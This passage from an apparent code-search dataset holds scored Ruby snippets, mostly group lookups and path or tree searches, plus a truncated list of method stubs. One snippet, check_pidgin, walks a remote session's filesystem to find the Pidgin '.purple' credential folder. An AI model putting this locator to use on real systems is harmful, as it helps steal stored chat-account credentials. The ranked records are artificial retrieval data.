"title": "" }, { "docid": "76f49efa5dc2261bcd524e6cfa85d05e", "score": "0.5103869", "text": "def find_index_by_path(*path)\n current = id_to_module.last\n if path.first == current.name\n path.shift\n end\n\n path.each do |name|\n current = id_to_module.find do |info|\n info.name == name && info.parent == current\n end\n return if !current\n end\n create_index(current.row, 0, current.id)\n end", "title": "" }, { "docid": "b84a898a53dc683c248ea7ed67ee4c40", "score": "0.5098393", "text": "def group?(name)\n name = name.to_s\n @groups.find{ |g| g.name == name } || false\n end", "title": "" }, { "docid": "4126a29dae25c4cbfc52f56bc6fa9454", "score": "0.50790185", "text": "def find_shared_group( example )\n\t\tgroups = example.example_group.parent_groups + [example.example_group]\n\t\treturn groups.find {|group| group.metadata[:shared_group_name]}\n\tend", "title": "" }, { "docid": "79b783938155ad59c1cefeae01b43f8f", "score": "0.5070129", "text": "def check_pidgin(path)\n\tfound = nil\n\t@client.fs.dir.foreach(path) do |x|\n\t\tnext if x =~ /^(\\.|\\.\\.)$/\n\t\tif x =~ (/\\.purple/)\n\t\t\t### If we find the path, let's return it\n\t\t\tfound = path + x\n\t\t\treturn found\n\t\tend\n\tend\n\treturn found\nend", "title": "" }, { "docid": "41d68643cfc2cfa1485cd0dc1f37eebb", "score": "0.50655186", "text": "def select(name)\n group = nil\n name = name.upcase\n\n (group, name) = name.split('.', 2) if name.index('.')\n\n name = nil if name.blank?\n\n if name\n result = @children.key?(name) ? @children[name] : []\n\n if group.nil?\n return result\n else\n # If we have a group filter as well, we need to narrow it down\n # more.\n return result.select do |child|\n child.is_a?(Property) && (child.group || '').upcase == group\n end\n end\n end\n\n # If we got to this point, it means there was no 'name' specified for\n # searching, implying that this is a group-only search.\n result = []\n @children.each do |_, child_group|\n child_group.each do |child|\n if child.is_a?(Property) && (child.group || '').upcase == group\n result << child\n end\n end\n end\n\n result\n end", "title": "" }, { "docid": "503af854b005e4098bcad4bef3d3039a", "score": "0.50556254", "text": "def get_group_by_id(id)\n get(\"/groups/#{id}\")\n end", "title": "" }, { "docid": "50a8642095720f2b5aee6aca7f66515b", "score": "0.50509936", "text": "def get_first_match(path)\n\n store.transaction(true) do\n\n store.roots.each do |k|\n\n if path.match(k)\n return k\n end\n\n end\n end\n false\n end", "title": "" }, { "docid": "5e8c83eb3e896c9097ad5691cb90c25c", "score": "0.50368434", "text": "def get_child(section, line)\n section.children.each do |child|\n return child if child.line == line\n end\n nil\nend", "title": "" }, { "docid": "176888ca8fe01ea9f5ce55e4cfe549ab", "score": "0.50283366", "text": "def find_item_by_path(*path)\n path.inject(self) do |parent_item, name|\n return if !name\n if names = @names_to_item[parent_item]\n names[name]\n end\n end\n end", "title": "" }, { "docid": "27c8ff1998f6ea2c06ce9e755f72bd52", "score": "0.50281", "text": "def get_child(line)\n @children.each do |child|\n return child if child.line == line\n end\n nil\n end", "title": "" }, { "docid": "eeebfa1466494f4c37ff752ccfa8f89a", "score": "0.5026594", "text": "def find_for_fs_path(fs_path)\n fs_path = File.expand_path(fs_path)\n TreeWalker.walk_tree(self) do |node|\n return node if node.fs_path == fs_path\n end\n end", "title": "" }, { "docid": "92d4d010cf4cd192692fe1a19ec53b92", "score": "0.4988481", "text": "def group_exists?(group)\n Sys::Admin.get_group(group)\n true\n rescue\n false\n end", "title": "" }, { "docid": "7832bb3119912e2b228419dcc3cece98", "score": "0.49726787", "text": "def group(path, name)\n RubyAem::Resources::Group.new(@client, path, name)\n end", "title": "" }, { "docid": "798d18fbd72dad3e0da28d1ab7011f8b", "score": "0.49661848", "text": "def in_group?(group)\n @groups.include? group\n end", "title": "" }, { "docid": "dcc0b02a54b9d8ded1e580c13dca857c", "score": "0.49570066", "text": "def group_present(name)\n group_exists = false\n execute(\"dscacheutil -q group -a name #{name}\") do |result|\n group_exists = result.stdout.start_with?(\"name: #{name}\")\n end\n\n return if group_exists\n\n gid = gid_next\n create_cmd = \"dscl . create /Groups/#{name}\"\n create_cmd << \" && dscl . create /Groups/#{name} PrimaryGroupID #{gid}\"\n execute(create_cmd)\n end", "title": "" }, { "docid": "6e5d5f71622c1a136eabb333dbc145ba", "score": "0.4955504", "text": "def get_group(gid)\n\t\t\t\tgroups().each do |group|\n\t\t\t\t\treturn group[1].groupname if group[1].gid == gid\n\t\t\t\tend\n\t\t\t\tnil\n\t\t\tend", "title": "" }, { "docid": "6033bcdc53e431bd49a61ca7e9a1ca05", "score": "0.49476415", "text": "def find_or_create_group(group_data)\n @groups.each do |group|\n return group if group.id == group_data[:id]\n end\n\n new_group = OctoFeed::EventGroup.new group_data\n @groups.push new_group\n new_group\n end", "title": "" }, { "docid": "3c6497d7297dda2ed60c42e4b5c06d1e", "score": "0.49408686", "text": "def load_group\n @group = Group.find_by_name(params[:id].titleize) or raise ActiveRecord::RecordNotFound\n end", "title": "" }, { "docid": "a15bf88d5f32baaa72f01db145dd0a9b", "score": "0.4940115", "text": "def find(k)\n return k if @parents[k].nil?\n @parents[k] == k ? k : find(@parents[k])\n end", "title": "" }, { "docid": "dd05295468aa855a2be37c884840cfb7", "score": "0.4916586", "text": "def find_path(target)\n queue = [root_node]\n until queue.empty?\n p current_node = queue.shift\n p queue\n return current_node if current_node.value == target\n current_node.children.each do |child|\n queue << child\n end\n end\n nil\nend", "title": "" }, { "docid": "9a8a339a662242e3e528adece2a686fc", "score": "0.49058604", "text": "def get_node_group_by_name(name, environment='production')\n nodes = get_list_of_node_groups\n nodes.each do |node|\n if node['name'] == name && node['environment'] == environment\n return node\n end\n end\n nil # return nil if no matching name found\n end", "title": "" }, { "docid": "103633c1a0a435cd976b31bdcf50e924", "score": "0.49005646", "text": "def group_exists?(name)\n @project.groups.where(name: name).count > 0\n end", "title": "" }, { "docid": "28c198543898011fe4db0279dc4c5737", "score": "0.48932418", "text": "def group_gid(name)\n gid = -1\n execute(\"dscacheutil -q group -a name #{name}\") do |result|\n result.stdout.each_line do |line|\n if /^gid:/.match?(line)\n gid = (line[5, line.length - 5]).chomp\n break\n end\n end\n gid\n end\n end", "title": "" }, { "docid": "3deb00048ce4f949a01ec6762bb6577e", "score": "0.48868188", "text": "def group(groupName, &block)\n ns = NodeSet[groupName.to_s]\n if (ns == nil)\n warn \"Undefined node set '#{groupName}'\"\n return EmptyGroup.new\n end\n return RootNodeSetPath.new(ns, nil, nil, block)\n end", "title": "" }, { "docid": "36212ab27d03959db65114f5df93f96b", "score": "0.4885561", "text": "def find(name, options = {})\n client = extract_client!(options)\n\n response = client.get(\"/api/security/groups/#{url_safe(name)}\")\n from_hash(response, client: client)\n rescue Error::HTTPError => e\n raise unless e.code == 404\n\n nil\n end", "title": "" }, { "docid": "57111b9b67e8267ed195636d5bbb427c", "score": "0.4857065", "text": "def find_group(name)\n return [] if APP_CONFIG.disabled?(\"ldap\")\n\n connection = initialized_adapter\n options = search_options_for(filter: \"(cn=#{name})\", attributes: %w[member uniqueMember])\n results = connection.search(options)\n o = connection.get_operation_result\n return results if o.code.to_i.zero?\n\n Rails.logger.tagged(:ldap) do\n msg = o.extended_response ? \" and message '#{o.extended_response}'\" : \"\"\n Rails.logger.debug \"LDAP group failed with code #{o.code}\" + msg\n end\n []\n rescue ::Net::LDAP::Error => e\n Rails.logger.tagged(:ldap) { Rails.logger.warn \"Connection error: #{e.message}\" }\n []\n end", "title": "" }, { "docid": "fc478c326104d8a3621ec6ba36a5d467", "score": "0.48485303", "text": "def group\n Group.get!(gidnumber)\n end", "title": "" }, { "docid": "8144853dbe9c820407826017d39d1807", "score": "0.48382792", "text": "def find_by_path(path, live = true, clean = false)\n path = clean_path(path) if clean\n return false unless path =~ /^#{Regexp.quote(self.path)}(.*)/\n tags = $1.split('/')\n if slug_child = children.find_by_slug(tags[0])\n found = slug_child.find_by_url(path, live, clean)\n return found if found\n end\n remove_tags, add_tags = tags.partition{|t| t.first == '-'}\n add_request_tags(add_tags)\n remove_request_tags(remove_tags)\n self\n end", "title": "" }, { "docid": "33561eb7d970a62125d89e2efd951f79", "score": "0.48320708", "text": "def get_child_entity_from_path_by(field, children)\n # the next child in the path\n child_value = children.shift\n # get the child entity\n child = self.send(:children).find {|child| child.send(field) == child_value}\n if child && children.size > 0\n # we have some recursion to do - we're not at the end of the array\n # so call this method again with a smaller set of children\n child.get_child_entity_from_path_by(field, children)\n else\n return child #this is the final thing in the array - return it\n end\n end", "title": "" }, { "docid": "399b43455668bd55f385c3c1b13cd325", "score": "0.48255906", "text": "def find_path(paths = [[@position]])\n if not @path and finished?(paths)\n return @path\n else\n new_paths = []\n change = false\n paths.each do |path|\n possible_positions?(path).each do |position|\n new_paths << path.dup.push(position)\n change = true\n end\n end\n find_path(new_paths) if change\n end\n end", "title": "" }, { "docid": "c97f34a8efd7eaab686e455bc5afbca5", "score": "0.48251653", "text": "def find_group_and_members(name)\n results = find_group(name)\n filtered_results(results)\n end", "title": "" }, { "docid": "04007dcbcddc60faab6fef761faf3fc2", "score": "0.48201007", "text": "def find_folder(parent, name)\n # Check that a folder exists. Also check for \"close matches\" on the name.\n # If a match is found, return the path.\n path = nil\n likely_names = name_variations(name)\n likely_names.each do |n|\n path = \"#{parent}/#{n}\"\n puts \"find_folder(#{name}): trying \\'#{path}\\'\" if @opts[:debug]\n break if Pathname.new(path).directory?\n path = nil\n end\n puts \"find_folder(#{name}): returning path of \\'#{path}\\'\" if @opts[:debug]\n return path\nend", "title": "" }, { "docid": "c25d37ff48dc386110f6d39208f00789", "score": "0.4797043", "text": "def group\n return @children['group'][:value]\n end", "title": "" }, { "docid": "baa7c49f95a6911be9fe2dc44233a4eb", "score": "0.47965887", "text": "def scan_path(path)\n assigns = {}\n node = self\n path.each do |p|\n new_node = node.children.find do |child| \n res = @@find_compare.call(child,to_node(p))\n assigns = assigns.merge(res) if res.instance_of?(Hash) \n res \n end\n if !new_node \n return nil\n end\n node = new_node\n end\n { :node => node, :assigns => assigns }\n end", "title": "" }, { "docid": "5f6b2721bc7c7e51809a04a7855ea6b3", "score": "0.47850028", "text": "def recursive_group_search_fallback?\n @recursive_group_search_fallback\n end", "title": "" }, { "docid": "ef820149342d918a767b4cb8c9ec4171", "score": "0.47834176", "text": "def groups\n find_groups if @groups.nil?\n @groups\n end", "title": "" }, { "docid": "ab14554624586652547a9b2a138a2230", "score": "0.47788718", "text": "def find_permissions_from_path(path)\n unless path.is_a?(String) && path.length > 0\n raise PermissionNotFoundError, \"Must provide a permission path\"\n end\n\n path_parts = path.split('.').map(&:to_sym)\n last_group_or_permission = self\n while part = path_parts.shift\n if part == :*\n if path_parts.empty?\n # We're at the end of the path, that's an acceptable place for a wildcard.\n # Return all the permissions in the final group.\n return last_group_or_permission.permissions.values\n else\n raise Error, \"Wildcards must be placed at the end of a permission path\"\n end\n elsif part == :** && path_parts[0] == :*\n # If we get a **.* wildcard, we should find permissions in the sub groups too.\n return last_group_or_permission.all_permissions\n else\n last_group_or_permission = last_group_or_permission.group_or_permission(part)\n if last_group_or_permission.is_a?(Permission) && !path_parts.empty?\n raise Error, \"Permission found too early in the path. Permission key should always be at the end of the path.\"\n elsif last_group_or_permission.nil?\n raise PermissionNotFoundError, \"No permission found matching '#{path}'\"\n end\n end\n end\n\n if last_group_or_permission.is_a?(Permission)\n [last_group_or_permission]\n else\n raise Error, \"Last part of path was not a permission. Last part of permission must be a path\"\n end\n end", "title": "" }, { "docid": "7c6a9d14bae8c7f22f25838be334dd71", "score": "0.47753584", "text": "def find_descendant_by_option_path(path)\n return self if path.empty?\n return nil if path.any?(&:nil?)\n return nil unless match = children.detect{ |c| c.option_id == path[0] }\n match.find_descendant_by_option_path(path[1..-1])\n end", "title": "" }, { "docid": "f6b11a0ab8275cfe2e83caf0b3538f1b", "score": "0.4774404", "text": "def get_node_containing(node,path,content)\n if path == \"\" then\n return nil\n end\n name = path.split(\"/\")[0]\n rest = path.split(\"/\")\n rest.delete(name)\n rest = rest.join(\"/\")\n node.each_element do |element|\n if element.name == name\n if rest == \"\" && element.content == content\n return element.parent\n else\n node = get_node_containing(element,rest,content)\n if node == nil\n next\n else\n return node\n end\n end\n end\n end\n end", "title": "" }, { "docid": "3cd4d791c9c1f9e253f6f37ae82ca8b9", "score": "0.477365", "text": "def depth_first(value_to_find)\r\n @children.each do |child|\r\n found_node = child.depth_first(value_to_find)\r\n if found_node != nil\r\n return found_node\r\n end\r\n end\r\n\r\n if payload == value_to_find\r\n return self\r\n else\r\n return nil\r\n end\r\n end", "title": "" }, { "docid": "e844066f9f1f65cd880dd56cfe41f368", "score": "0.4772687", "text": "def get_parent(path)\n parent = @root\n path[1..path.length-1].each do |path_item|\n if parent.child_exists?(path_item)\n parent = parent.get_child(path_item)\n end\n end\n\n return parent\n end", "title": "" }, { "docid": "d12a36fa24d78cca8020622ad76c9ce0", "score": "0.47682104", "text": "def path_for(attribute, object = ScimRails.config.mutable_group_attributes_schema, path = [])\n at_path = path.empty? ? object : object.dig(*path)\n return path if at_path == attribute\n\n case at_path\n when Hash\n at_path.each do |key, value|\n found_path = path_for(attribute, object, [*path, key])\n return found_path if found_path\n end\n nil\n when Array\n at_path.each_with_index do |value, index|\n found_path = path_for(attribute, object, [*path, index])\n return found_path if found_path\n end\n nil\n end\n end", "title": "" }, { "docid": "669575fba8fae37b774a9ad4d1e6bdd8", "score": "0.47620717", "text": "def find_groups\n @groups ||= Group.find(:all)\n end", "title": "" }, { "docid": "6e542ee4b6b5fc7562b5fd013ef5f30d", "score": "0.4748624", "text": "def find(path); end", "title": "" }, { "docid": "6e542ee4b6b5fc7562b5fd013ef5f30d", "score": "0.4748624", "text": "def find(path); end", "title": "" }, { "docid": "8a30ee8ad2960b0abbcb302905bd0620", "score": "0.47484618", "text": "def check_group_exists(doc, group, uid, gid)\n return unless group[gid].nil?\n\n log_error(\"User #{uid} has primary group #{gid}, but it does not exist\",\n !db_version[:is_slave])\n\n user_gid = 1\n\n doc.root.xpath('GID').each do |e|\n e.content = '1'\n end\n\n doc.root.xpath('GNAME').each do |e|\n e.content = 'users'\n end\n\n doc.root.xpath('GROUPS').each do |e|\n e.xpath(\"ID[.=#{gid}]\").each {|x| x.remove }\n\n e.add_child(doc.create_element('ID')).content = user_gid.to_s\n end\n\n [user_gid, { :body => doc.root.to_s, :gid => user_gid }]\n end", "title": "" }, { "docid": "b3a587363d927d32020c92203c4f91ec", "score": "0.4746211", "text": "def find\n results = [] unless block_given?\n # paths = @path.is_a?(String) ? [@path] : @path\n\n begin\n exclude_dir_regex = @exclude_dir\n rescue => ex\n puts \"--exclude_dir regex Skipping, #{ex.message}\"\n exit\n end\n\n begin\n file_regex = (Regexp.new(@regex) if @regex)\n rescue => ex\n puts \"--rname regex : Skipping, #{ex.message}\"\n exit\n end\n\n recursively_find_file(exclude_dir_regex, path, results, file_regex)\n\n block_given? ? nil : results\n end", "title": "" }, { "docid": "a87ccf20c9ab326d034db51f63cbb6c9", "score": "0.4744403", "text": "def find_existing(path)\n until File.directory?(path)\n path = File.dirname(path)\n end\n path\n end", "title": "" }, { "docid": "c8aee58f9e499665cf8622d9c321d270", "score": "0.4738561", "text": "def select_group(group)\n raise NoEntryError unless @groups_hosts.keys.include? group\n @groups_hosts[group]\n end", "title": "" }, { "docid": "aa6171c830221679703f1dc63bf594f0", "score": "0.4735339", "text": "def get_group group_uuid\n group_uuid = @everyone_group if group_uuid.blank?\n \n return group_uuid if group_uuid.is_a?(Group)\n\n tmp = @groups.find{|grp|grp.uuid == group_uuid}\n \n raise \"unknown group or user with id #{group_uuid}\" unless tmp\n \n tmp\n end", "title": "" }, { "docid": "09627483c2e8e984e968e8eeb45dd5f8", "score": "0.47329167", "text": "def group?(group)\n\t\t\t\tif(groups.has_key?(group))\n\t\t\t\t\tCfruby.controller.inform('debug', \"group \\\"#{group}\\\" exists\")\n\t\t\t\t\treturn(true)\n\t\t\t\tend\n\n\t\t\t\tCfruby.controller.inform('debug', \"group \\\"#{group}\\\" does not exist\")\n\t\t\t\treturn(false)\n\t\t\tend", "title": "" }, { "docid": "17051b288a3d005380ec4ff9da2ea7be", "score": "0.4712289", "text": "def find_data_path(path)\n each_data_path(path).first\n end", "title": "" }, { "docid": "1202438161d7ecd2c9bc3c94fd4fbbe2", "score": "0.4706921", "text": "def find_with_glob(path, find_flags = 0, gave_char_class = false, dir: nil)\n parts = path_parts(normalize_path(path, dir: dir))\n return fs if parts.empty? # '/'\n\n entries = Globber.expand(path).flat_map do |pattern|\n parts = path_parts(normalize_path(pattern, dir: dir))\n find_with_glob_recurser(fs, parts, find_flags, gave_char_class).flatten\n end\n\n case entries.length\n when 0 then nil\n when 1 then entries.first\n else entries\n end\n end", "title": "" }, { "docid": "5ffddfcc7395d162577af0bc608ed236", "score": "0.4704905", "text": "def group(id)\n result = connection.get(\"groups/#{id}\")\n result.is_a?(Array) ? result[0] : result\n end", "title": "" }, { "docid": "9da74cdd1a3cf4ca2c028db2e4f00c22", "score": "0.4704154", "text": "def check_group_exists\n if (Group.where(group_params).count != 0)\n redirect_to Group.where(group_params).first\n end\n end", "title": "" }, { "docid": "4ab22afc02d8803d46cbf59050c715b1", "score": "0.47018564", "text": "def get_or_create_group\n name = metadata['group']\n\n db = DB::Groups.find(name, pool)\n grp = load_group\n\n if db.nil?\n # The group does not exist, create it\n Commands::Group::Create.run!(\n pool: pool.name,\n name: grp.name\n )\n\n return DB::Groups.find(name, pool) || (fail 'expected group')\n end\n\n db\n end", "title": "" }, { "docid": "9494534ddafdad27f17a23ae41cf7b10", "score": "0.4701457", "text": "def group; Group.get(self.group_id); end", "title": "" }, { "docid": "c682f4575e444f51d3c6ac4af0e49ca8", "score": "0.4699064", "text": "def find_groupid(group_name)\n number = ldap.search(:base => group_dn, :filter => \"cn=#{group_name}\")\n gid = []\n number.each do |result|\n gid = result[:gidnumber][0]\n end\n gid\n end", "title": "" }, { "docid": "7dde9b68c0e6197fae1f490f63ddf47f", "score": "0.46979958", "text": "def dfs(root, target_file, path = root.name)\n return path if root.name == target_file\n\n children = get_children(path)\n children.each do |child_path|\n child_node = Node.new(child_path.basename.to_s)\n root.children << child_node\n result = dfs(child_node, target_file, child_path)\n if result \n return result\n end\n end\n nil\nend", "title": "" }, { "docid": "8baf036f9ea8a921c6073bcc054869af", "score": "0.46855143", "text": "def children(path)\n # r = nil\n # zk_call do\n # r = @zk.get_children(path: path)\n # end\n # debug \"ZK: Children '#{path}' => '#{r}'\"\n # raise NonExistingPathException.new(path) unless r[:stat].exists?\n # r[:children]\n end", "title": "" }, { "docid": "c6a96e8c8d1a3f4fe837fb651f1395b7", "score": "0.46823233", "text": "def groups\n g = File.join(@root,'groups')\n FileUtils.mkdir_p g\n Dir.chdir(File.join(@root,'groups')) do\n Dir['*']\n end\n end", "title": "" }, { "docid": "314e70e2a2dc443a069a9028162e1913", "score": "0.4681195", "text": "def [] name\n @groups ||= {}\n root = File.join(@root,'groups',name)\n rel_root = @rel_root.nil? ? root : File.join(@rel_root,'groups',name)\n FileUtils.mkdir_p(root)\n return @groups[name] if @groups[name]\n db = DB.new(root,rel_root,self)\n db.use_not_found = self.use_not_found\n return (@groups[name] = db)\n end", "title": "" }, { "docid": "3f92e91928fc5b7ef88d241da60ee7d5", "score": "0.46804982", "text": "def find_page_with_group_check(path)\n page = find_page_without_group_check(path)\n if page && page.restricted?\n raise ReaderError::LoginRequired, t(\"reader_extension.page_not_public\") unless current_reader\n raise ReaderError::ActivationRequired, t(\"reader_extension.page_not_public\") unless current_reader.activated?\n raise ReaderError::AccessDenied, t(\"reader_extension.page_permission_denied\") unless page.visible_to?(current_reader)\n end\n page\n end", "title": "" }, { "docid": "1e2a08c261037b5faace306997e383e9", "score": "0.46742857", "text": "def find_path(root, p, path)\n return false unless root\n path.push(root)\n return true if root.val == p.val || find_path(root.left, p, path) || find_path(root.right, p, path)\n path.pop\n false\nend", "title": "" }, { "docid": "f43909d26a65f60a866f108e6ec72461", "score": "0.46710265", "text": "def does_group_exist\n @group = Group.find(params[:id])\n rescue\n flash.now[:group_error] = 'Someone else deleted the group. Your action was cancelled.'\n redirect_to :action => 'list' and return false\n end", "title": "" }, { "docid": "8dadb5e6913358480a3dabf084e5f739", "score": "0.46684265", "text": "def set_group\n @group = @form.group.descendants.find(params[:id])\n end", "title": "" }, { "docid": "6e69dfff6508ca8bea65875294c3cb2d", "score": "0.46635872", "text": "def find_child(children, child_id)\n raise Error, \"children not true\" unless children\n child_id = child_id.to_s\n children.detect { |x| x.id.to_s == child_id }\n end", "title": "" }, { "docid": "131a8a952781f9a51348f02449109b37", "score": "0.4660572", "text": "def group\n @group ||= group_id && course.groups.find_by(id: group_id)\n end", "title": "" }, { "docid": "7a56ac46e07d3c0c10dbf9380b3a1973", "score": "0.46595776", "text": "def find_by_path(namespace_path, project_path, options)\n gitlab = options[:for_user].gitlab\n matching_projects = gitlab.cached_user_projects.select do |_, project|\n if project[:namespace] && project[:namespace][:path] == namespace_path\n project[:path] == project_path\n else\n false\n end\n end\n\n return nil if matching_projects.empty?\n gitlab_project = matching_projects.values.first\n\n self.new(gitlab_project)\n end", "title": "" } ]
b0a0d4a1e33e947b33247c8b099f6ead
Mostly just to ensure it runs fast enough
[ { "docid": "3b94d319528c594e121b762bef417ede", "score": "0.0", "text": "def test_edge\n @solution.input_file = 'C-test-range.in'\n @solution.compute\n assert_equal [946], @solution.output_clean\n end", "title": "" } ]
[ { "docid": "f6d4a510b1064cdde36cfabb37bc801a", "score": "0.6583471", "text": "def threadsafe; end", "title": "" }, { "docid": "0f828e39ac6c0cb39ceb456b5ed44912", "score": "0.6421717", "text": "def warmup; end", "title": "" }, { "docid": "48aa6ae56116baa2a62ba9233aa5fbd0", "score": "0.62119734", "text": "def threadsafe?; end", "title": "" }, { "docid": "54f970ee5768d76a8818f20a25600939", "score": "0.61989784", "text": "def looping", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.6123472", "text": "def used; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.6123472", "text": "def used; end", "title": "" }, { "docid": "09ef72277e6e4b26eb9cae28d79d1b51", "score": "0.5968188", "text": "def fail_fast; end", "title": "" }, { "docid": "a6759828b1fc5b8ab7add6e91c15ffe1", "score": "0.5936107", "text": "def at_least_times_executed; end", "title": "" }, { "docid": "a6759828b1fc5b8ab7add6e91c15ffe1", "score": "0.5936107", "text": "def at_least_times_executed; end", "title": "" }, { "docid": "3fea835183205bbce8977c5f5d6eaafc", "score": "0.5926803", "text": "def at_most_times_executed; end", "title": "" }, { "docid": "3fea835183205bbce8977c5f5d6eaafc", "score": "0.5926803", "text": "def at_most_times_executed; end", "title": "" }, { "docid": "c2974963391233b0a6eeb54ad06994bc", "score": "0.5912008", "text": "def timing; end", "title": "" }, { "docid": "f257768229066f65b2376e304da2f49a", "score": "0.5902686", "text": "def operation_benchmarks; end", "title": "" }, { "docid": "549cdd4767cacb4029e22f746ccd68b5", "score": "0.5859963", "text": "def work; end", "title": "" }, { "docid": "711c764f1a0d24d73da19944bacd2f08", "score": "0.5841771", "text": "def concurrency; end", "title": "" }, { "docid": "fb127afb655b22988cea794c54e71aff", "score": "0.5824996", "text": "def lock; end", "title": "" }, { "docid": "fb127afb655b22988cea794c54e71aff", "score": "0.5824996", "text": "def lock; end", "title": "" }, { "docid": "fb127afb655b22988cea794c54e71aff", "score": "0.5824996", "text": "def lock; end", "title": "" }, { "docid": "373c2968f03891cfcfd165f661599cdf", "score": "0.5817506", "text": "def optimize\n \n end", "title": "" }, { "docid": "5928f8efe9c6c2d408ea21a4cdce83ad", "score": "0.57849634", "text": "def preliminary?; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "5ab49f4a4e76cf57dddfec246839f72d", "score": "0.57767093", "text": "def run; end", "title": "" }, { "docid": "6ab77a9219ee157923bc58599ba6aa77", "score": "0.5763474", "text": "def in_use; end", "title": "" }, { "docid": "6ab77a9219ee157923bc58599ba6aa77", "score": "0.5763474", "text": "def in_use; end", "title": "" }, { "docid": "24a79bc74252efdd3d12813031c9e621", "score": "0.5753619", "text": "def min_call_time; end", "title": "" }, { "docid": "24a79bc74252efdd3d12813031c9e621", "score": "0.5753619", "text": "def min_call_time; end", "title": "" }, { "docid": "24a79bc74252efdd3d12813031c9e621", "score": "0.5753619", "text": "def min_call_time; end", "title": "" }, { "docid": "bdd5a19756e5b77c377131d39521a57b", "score": "0.5734997", "text": "def optimize_every; end", "title": "" }, { "docid": "1e9c9bbec60d1cd257bac1ec7b3f2098", "score": "0.5732828", "text": "def once; end", "title": "" }, { "docid": "1e9c9bbec60d1cd257bac1ec7b3f2098", "score": "0.5732828", "text": "def once; end", "title": "" }, { "docid": "668f390f783683a44574c377c6622fc8", "score": "0.5705094", "text": "def running; end", "title": "" }, { "docid": "726c6755ed6d69c45e6dad965ba4002b", "score": "0.5673994", "text": "def thread; end", "title": "" }, { "docid": "726c6755ed6d69c45e6dad965ba4002b", "score": "0.5673994", "text": "def thread; end", "title": "" }, { "docid": "726c6755ed6d69c45e6dad965ba4002b", "score": "0.5673994", "text": "def thread; end", "title": "" }, { "docid": "726c6755ed6d69c45e6dad965ba4002b", "score": "0.5673994", "text": "def thread; end", "title": "" }, { "docid": "f0d50116d6d067bd787bf1044910efcb", "score": "0.5661701", "text": "def attempt; end", "title": "" }, { "docid": "8c6c06b038fae7f03fd840ae36816e1f", "score": "0.5659692", "text": "def tune; end", "title": "" }, { "docid": "0a39799e76643367f1b6bfac65569895", "score": "0.56559324", "text": "def used?; end", "title": "" }, { "docid": "c3fbb523f8094675acba1affaad87acb", "score": "0.5645517", "text": "def minimize!\n # I'll implement this when I need it\n end", "title": "" }, { "docid": "37a9fe238821673c3581e7328bc3fab8", "score": "0.5639286", "text": "def warmup=(_arg0); end", "title": "" }, { "docid": "bfc59ba4069006df84cd4e7d17c175e6", "score": "0.56321704", "text": "def first_fixed; end", "title": "" }, { "docid": "3ae137b1a40ff3aae4f3cbb2b6082797", "score": "0.55926234", "text": "def reaper; end", "title": "" }, { "docid": "63afc8cf465d4786f3415a1e58eeb513", "score": "0.5584115", "text": "def time_it; end", "title": "" }, { "docid": "258fe4c397ccfd5ce2e8d429b024c240", "score": "0.5572469", "text": "def accelerate\n end", "title": "" }, { "docid": "08c480f703a44d99de734a7097947c9d", "score": "0.5558363", "text": "def at_most_times_executed=(_arg0); end", "title": "" }, { "docid": "646aaf61ac31ea8506e2c5c6808b66ff", "score": "0.5558254", "text": "def pre_loop; end", "title": "" }, { "docid": "08c480f703a44d99de734a7097947c9d", "score": "0.5557855", "text": "def at_most_times_executed=(_arg0); end", "title": "" }, { "docid": "8b79e8f7bbe83880e51794d26cd62a8f", "score": "0.55546725", "text": "def try; end", "title": "" }, { "docid": "367b677b4854c55e5c7ed3482d381b78", "score": "0.5542192", "text": "def synchronized; end", "title": "" }, { "docid": "5e6d650fa7ee73ea97550cb4cde762a8", "score": "0.5507083", "text": "def min_call_time=(_arg0); end", "title": "" }, { "docid": "e56a0c1eab608b19839a91b59e27384a", "score": "0.54929465", "text": "def parallelize_me!; end", "title": "" }, { "docid": "c34ff85954326e75e0f7ecc28949f561", "score": "0.5486917", "text": "def optimize\n end", "title": "" }, { "docid": "2d24099e25eaa04c2cc9f3acbbcd7059", "score": "0.5478484", "text": "def ppuy; end", "title": "" }, { "docid": "16b89f9ccf2d56cd4036151d2ca88168", "score": "0.5477974", "text": "def synchronization; end", "title": "" }, { "docid": "148eccc462b51f7738f0a0a8e62b6404", "score": "0.5471799", "text": "def runs; end", "title": "" }, { "docid": "c5e59b49eb6a48c9b0b9f86a7182eda6", "score": "0.5465642", "text": "def last_used; end", "title": "" }, { "docid": "9fdeeadbf34f8a8cd294e9bc45fd918e", "score": "0.54421854", "text": "def in_parallel?; end", "title": "" }, { "docid": "9fdeeadbf34f8a8cd294e9bc45fd918e", "score": "0.54421854", "text": "def in_parallel?; end", "title": "" }, { "docid": "e44ae2cef169d29f78b2b6306add59da", "score": "0.54357284", "text": "def huddlingly()\n end", "title": "" }, { "docid": "12143e8258c60e72b2614fd3f833c0ef", "score": "0.542592", "text": "def optimize\r\n puts \"fast optimize\"\r\n end", "title": "" }, { "docid": "9b632aa1829227dfc5a873c0d05ccbee", "score": "0.54137063", "text": "def execution_order; end", "title": "" }, { "docid": "e89aa5aa0eb59409fa89072eb4dc3cb4", "score": "0.54113144", "text": "def at_least_times_executed=(_arg0); end", "title": "" }, { "docid": "e89aa5aa0eb59409fa89072eb4dc3cb4", 